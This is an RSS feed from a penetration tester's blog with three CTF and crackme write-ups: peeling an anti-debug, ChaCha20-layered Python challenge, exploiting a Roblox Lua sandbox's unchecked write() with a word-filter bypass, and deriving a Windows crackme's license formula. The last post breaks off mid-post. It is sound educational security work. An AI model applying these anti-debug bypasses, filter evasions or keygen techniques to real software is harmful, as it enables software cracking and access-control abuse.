<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Puthcambo's blog</title>
    <link>https://portfolio.puthcambo.workers.dev/blog/</link>
    <atom:link href="https://portfolio.puthcambo.workers.dev/blog/feed.xml" rel="self" type="application/rss+xml"/>
    <description>Security researcher and penetration tester from Cambodia. I build open-source security tools, break things in CTFs, and write about both.</description>
    <language>en</language>
    <lastBuildDate>Sat, 28 Nov 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title>A Python program hidden inside itself, many times over</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/inferior-student-python-matryoshka/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/inferior-student-python-matryoshka/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>An obfuscated Python challenge decrypts a layer, runs it, and repeats, with anti-debug that silently corrupts the key if it sees you. The weak spot is the one library it forgot to protect.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>python</category>
      <category>obfuscation</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Inferior Student: Nothing Stay</strong>, LYKN CTF 2026 (reversing)</p>
</blockquote>
<p>The handout is <code>challl.py</code>: 1.2 MB of unicode-obfuscated Python with heavy anti-debug. It's a <strong>matryoshka doll</strong>. Each layer decrypts the next with ChaCha20, decompresses it with LZMA into a Python code object, and runs it. Do anything it doesn't like and it just prints nothing, which is the challenge's name: "Nothing Stay."</p>
<h2 id="the-anti-debug-trick">The anti-debug trick<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-anti-debug-trick">#</a></h2>
<p>Every layer's decryption key is:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>key = sha256(d1 + bytes([d2 ^ eps]))[:32]</span></span></code></pre>
<p>where <code>eps</code> is an <strong>anti-debug accumulator</strong>. In a clean run it's <code>0</code>. The moment any tracer, timing anomaly or tampering is detected, <code>eps</code> becomes non-zero, which produces a wrong key, which fails the layer's SHA-256 integrity check, which makes the program silently do nothing. It never tells you it caught you.</p>
<p>And it integrity-checks the obvious hooking targets, <code>exec</code>, <code>marshal</code>, <code>time</code>, so you can't wrap those to peek inside.</p>
<h2 id="the-gap">The gap<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-gap">#</a></h2>
<p>Here's the thing it <em>doesn't</em> protect: the <strong>crypto library</strong>. The anti-debug never inspects <code>ChaCha20.new</code>, and wrapping it is cheap enough not to trip the timing checks. That's the whole way in.</p>
<p>So:</p>
<ol>
<li><strong>Wrap <code>ChaCha20.new</code></strong> and steal the encrypted chunk table the worker reads from: a list of <code>(d1, d2, nonce, ciphertext, expected_sha256)</code> tuples.</li>
<li><strong>Brute <code>eps</code> offline.</strong> It's a single byte. For each chunk, find the <code>eps</code> where the decrypted-then-hashed result matches the expected SHA-256. It comes out <code>0</code> for every chunk, confirming the clean value.</li>
<li><strong>Decrypt and decompress</strong> each chunk into its Python code object. One of them is the big main payload, which is just another packer of the same shape. Peel until you reach the innermost layer.</li>
</ol>
<h2 id="the-innermost-checker">The innermost checker<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-innermost-checker">#</a></h2>
<p>The deepest layer is the actual flag check. It reads your input, then does:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>ChaCha20(key, nonce).encrypt(your_input) == target</span></span></code></pre>
<p>with a <strong>fixed</strong> key and nonce. ChaCha20 is a stream cipher, so encryption and decryption are the same operation, and the key and nonce are constants. That means the flag is simply:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>flag = ChaCha20(key, nonce).decrypt(target)</span></span></code></pre>
<p>No brute force, no solving. I wrap <code>input()</code> so that at the moment the checker asks for the flag, I grab the key, nonce and target out of its frame and decrypt the target directly:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>LYKNCTF{Im_At_The_PayPhone_Tryin_To_Home_Allof_My_change_1_Spent_0n_u_</span></span>
<span class="line"><span>Where_have_ThE_T1m3S_G0n3_B4bY_Its_Wr0nG_wh3rE_aRe_Th3_Pl4nS_W3_M4d3_F0r_2}</span></span></code></pre>
<p>All those layers of ChaCha20, LZMA and anti-debug, and the flag was reversible from a single stored ciphertext the whole time, once I stopped fighting the parts it was watching and leaned on the one library it wasn't.</p>
<p>📂 Full writeup with the table grabber, the <code>eps</code> brute and the capture script: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/lykn-ctf-2026/inferior%20student">ctf-writeups/reverse/…/inferior student</a></p>]]></content:encoded>
    </item>
    <item>
      <title>An IDOR bug hidden inside a Roblox game</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/worlds-hardest-flag-roblox/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/worlds-hardest-flag-roblox/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A CTF challenge built on top of Roblox hands you a toy &quot;memory&quot; API with a read-protected flag. The write function never checks what you're allowed to touch, so you just turn the protection off.</description>
      <category>ctf</category>
      <category>pwn</category>
      <category>lua</category>
      <category>access-control</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>World's Hardestest Flag</strong>, BroncoCTF 2026 (sandbox escape)</p>
</blockquote>
<blockquote>
<p>This is Mr. Deh speaking. Your commands get executed on my special SecureDeh9001Server. There's a flag on my super awesome server, but you'll never get it.</p>
</blockquote>
<p>It sounds like a "beat the obby" platformer, but the real task is static analysis plus a Lua sandbox bug. You get a local copy of the Roblox place file so you can read the server logic <em>before</em> touching the live server, which is the only place the real flag lives.</p>
<h2 id="getting-the-code-out-of-the-place-file">Getting the code out of the place file<a class="anchor" aria-hidden="true" tabindex="-1" href="#getting-the-code-out-of-the-place-file">#</a></h2>
<p>Roblox's <code>.rbxl</code> is a binary container: a magic header, then a stream of named, individually zstd-compressed chunks. The <code>PROP</code> chunks store properties, and the ones named <code>"Source"</code> hold the Lua source of each script. A small Python parser walks the chunk stream, decompresses each one, and dumps every script:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ python parse_rbxl.py mrdeh-hardestest.rbxl ./extracted</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[*] parsed 1898 chunks</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[*] extracted 3 script source(s)</span></span></code></pre>
<p>Three scripts come out: a big client <code>LocalScript</code> (the UI and a word filter), a vendored Lua interpreter, and the <strong>server script</strong> that handles the flag. A quick grep across them points straight at the interesting part.</p>
<h2 id="the-servers-toy-memory-model">The server's toy memory model<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-servers-toy-memory-model">#</a></h2>
<p>The server gives you an in-game terminal: you submit Lua, it compiles it in a restricted environment (no <code>game</code>, no <code>os</code>, no <code>io</code>, no <code>require</code>) and runs it. The only way to reach anything is through two functions it hands you, over a tiny two-object store:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">local</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Storage </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x6767</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { TypeTag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, Value </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> FLAG },     </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">-- Mr Deh's: read-protected</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x4141</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { TypeTag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, Value </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "You!" </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}     </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">-- yours: readable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">local</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> write</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(address, new_data)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Storage[address] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">then</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> key, val </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> pairs</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(new_data) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">do</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            Storage[address][key] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> val             </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">-- no field allowlist, no ownership check</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        end</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    end</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">end</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">local</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> read</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(address)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    local</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> tvalue </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Storage[address]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> tvalue.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">TypeTag</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> then</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[ACCESS DENIED]" </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">end</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">   -- the only gate on the flag</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> tvalue.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">Value</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">end</span></span></code></pre>
<p>The flag is "protected" by exactly one thing: <code>read()</code> refuses to return a value when its <code>TypeTag</code> is <code>0</code>.</p>
<h2 id="the-bug">The bug<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-bug">#</a></h2>
<p><code>write()</code> merges <strong>every</strong> key you give it into the object, with no check on <em>which</em> address you own or <em>which</em> field you're setting. And the flag object already exists at <code>0x6767</code>. So I just overwrite its <code>TypeTag</code>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">write</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x6767</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, { TypeTag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> })</span></span></code></pre>
<p>Now its <code>TypeTag</code> is no longer <code>0</code>, the gate in <code>read()</code> doesn't match, and the very next read returns the real flag. The permission check lived on mutable data that the attacker is allowed to write. That's an access-control bug dressed up as a memory API.</p>
<h2 id="one-more-obstacle-the-word-filter">One more obstacle: the word filter<a class="anchor" aria-hidden="true" tabindex="-1" href="#one-more-obstacle-the-word-filter">#</a></h2>
<p>The client UI blocks a list of banned words before your code is sent, including <code>typetag</code>, as a plain lowercase substring match. My payload needs the field name <code>TypeTag</code>, so I just build that string at runtime instead of typing it:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">local</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> k </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> string.char</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">84</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">121</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">112</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">101</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">84</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">97</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">103</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)  </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">-- "TypeTag"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">write</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x6767</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, { [k] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> })</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">read</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x6767</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">))</span></span></code></pre>
<p>The banned substring never appears in what I submit. Paste it into the live terminal and:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>SERVER: bronco{d34th_t0_th3_dehs_f0r3v3r}</span></span></code></pre>
<p>A client-side filter you can bypass, a bytecode check that never applies, and a sandbox you don't need to escape, because the bug was in the API the sandbox deliberately exposed.</p>
<p>📂 Full writeup, the <code>.rbxl</code> parser and the payload: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/pwn/bronco-ctf-2026/worlds%20hardestest%20flag">ctf-writeups/pwn/…/worlds hardestest flag</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Beating the final bosses of a 12-level crackme series</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/lack-crackme-final-bosses/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/lack-crackme-final-bosses/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>The last two levels of Lack's Windows crackme series add anti-debug tricks, a jump-table VM, and a 152-part license key. All of it falls to reading the code instead of running it.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>crackme</category>
      <category>windows</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Ultimate Boss</strong> and <strong>Ultimate Real Boss</strong>, the finale of the <em>Level</em> crackme series by Lack on crackmes.one</p>
</blockquote>
<p>The <em>Level</em> series is 12 Windows x64 crackmes, and each level adds exactly <strong>one</strong> new trick on top of the last. It starts with a plaintext password and climbs through XOR, keygens, a bytecode VM and a threaded hash. Then come two boss fights that combine everything: <strong>anti-debugging</strong>, a <strong>jump-table virtual machine</strong>, and finally a license made of <strong>152 chained numbers</strong>.</p>
<h2 id="boss-1-the-ultimate-license-check">Boss 1: the Ultimate License Check<a class="anchor" aria-hidden="true" tabindex="-1" href="#boss-1-the-ultimate-license-check">#</a></h2>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>THE ULTIMATE LICENSE CHECK</span></span>
<span class="line"><span>Enter Username: … Enter Part 1: … Enter Part 2: …</span></span></code></pre>
<p>A username and two integers. A string dump shows no UI text at all, because every prompt is decrypted at runtime. It does show a very telling import list:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>IsDebuggerPresent   CheckRemoteDebuggerPresent   GetThreadContext</span></span>
<span class="line"><span>GetTickCount64      GetProcAddress               Sleep</span></span></code></pre>
<p>This binary does not want a debugger attached.</p>
<h3 id="the-anti-debug-doesnt-matter">The anti-debug doesn't matter<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-anti-debug-doesnt-matter">#</a></h3>
<p>The validator call is wrapped in a stopwatch:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> GetTickCount64        </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; start</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> validate</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">call</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> GetTickCount64        </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; end</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">sub</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  rax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rbx</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">cmp</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  rax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x1f4</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">            ; more than 500 ms?</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">jbe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  real_path             </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; fast → genuine path</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                           ; slow → "[!] Debugger Detected!"</span></span></code></pre>
<p>If you're single-stepping, it takes more than 500 ms and you get sent to a decoy. There are also checks for an attached debugger and hardware breakpoints. All of these only catch <strong>dynamic</strong> analysis. If you read the code and compute the answer offline, none of them ever fire.</p>
<h3 id="the-validator-is-a-tiny-vm">The validator is a tiny VM<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-validator-is-a-tiny-vm">#</a></h3>
<p>The check isn't straight-line code. It's a <strong>state machine</strong> that looks up the next handler in a table on every step:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">dispatch:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  movsxd</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> rax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r10d</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                               ; current state</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  movzx</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  eax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">byte</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r14</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x1ec0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]          </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; opcode = state_table[state]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  mov</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    ecx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">dword</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r14</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rax</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> + </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x1ea4</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]       </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; offset = jump_table[opcode]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  add</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    rcx</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">r14</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  jmp</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    rcx</span></span></code></pre>
<p>Dumping both tables straight out of the file turns the "obfuscated" control flow into a plain checklist:</p>
<table>
<thead>
<tr>
<th align="left">State</th>
<th align="left">Check</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">username isn't empty</td>
</tr>
<tr>
<td align="left">1</td>
<td align="left"><code>Part1 == sum(username bytes) × 31</code></td>
</tr>
<tr>
<td align="left">3</td>
<td align="left"><code>Part2 == (Part1 XOR 0x1337) + 0x7B</code></td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">success</td>
</tr>
</tbody>
</table>
<p>So the whole license is two lines:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Part1 = sum(username_bytes) * 31</span></span>
<span class="line"><span>Part2 = (Part1 XOR 0x1337) + 0x7B</span></span></code></pre>
<h3 id="the-hidden-second-condition">The hidden second condition<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-hidden-second-condition">#</a></h3>
<p>Getting <code>Access Granted!</code> is the easy part. After that, the program decrypts a final message with a key taken from <strong>your own input</strong>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">movzx</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> r14d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">byte</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">rsp</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x44</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]   </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">; low byte of Part2</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">xor</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">   r14b</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0x3e</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">              ; message key</span></span></code></pre>
<p>Brute-forcing that one-byte key against the 15-byte encrypted message shows only one key gives real text:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>key 0x46 → "Wow you did it!"     (needs Part2 &#x26; 0xFF == 0x78)</span></span></code></pre>
<p>Any other valid license gets you in, but prints garbage. Since the username is mine to choose, I searched for a byte-sum whose <code>Part2</code> ends in <code>0x78</code>. The smallest is <strong>246</strong>, which is <code>ZZB</code> (90 + 90 + 66):</p>
